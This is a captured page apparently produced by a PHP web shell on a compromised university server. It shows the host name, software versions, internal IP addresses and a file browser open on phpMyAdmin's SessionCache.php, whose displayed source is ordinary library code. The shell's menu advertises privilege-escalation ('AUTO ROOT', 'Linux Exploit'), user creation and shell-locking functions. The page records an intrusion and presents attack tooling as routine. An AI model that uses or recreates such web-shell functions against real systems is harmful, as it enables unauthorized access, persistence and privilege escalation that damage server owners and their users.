Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
phpmyadmin /
libraries /
classes /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
ForeignKey.php
2.27
KB
-rw-r--r--
FormatConverter.php
1.81
KB
-rw-r--r--
Gis.php
9.48
KB
-rw-r--r--
HttpRequest.php
9.01
KB
-rw-r--r--
SessionCache.php
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SessionCache.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Utils; final class SessionCache { private static function key(): string { global $cfg, $server; $key = 'server_' . $server; if (isset($cfg['Server']['user'])) { return $key . '_' . $cfg['Server']['user']; } return $key; } public static function has(string $name): bool { return isset($_SESSION['cache'][self::key()][$name]); } /** * @return mixed|null */ public static function get(string $name, ?callable $defaultValueCallback = null) { if (self::has($name)) { return $_SESSION['cache'][self::key()][$name]; } if ($defaultValueCallback !== null) { $value = $defaultValueCallback(); self::set($name, $value); return $value; } return null; } /** * @param mixed $value */ public static function set(string $name, $value): void { $_SESSION['cache'][self::key()][$name] = $value; } public static function remove(string $name): void { unset($_SESSION['cache'][self::key()][$name]); } }
Close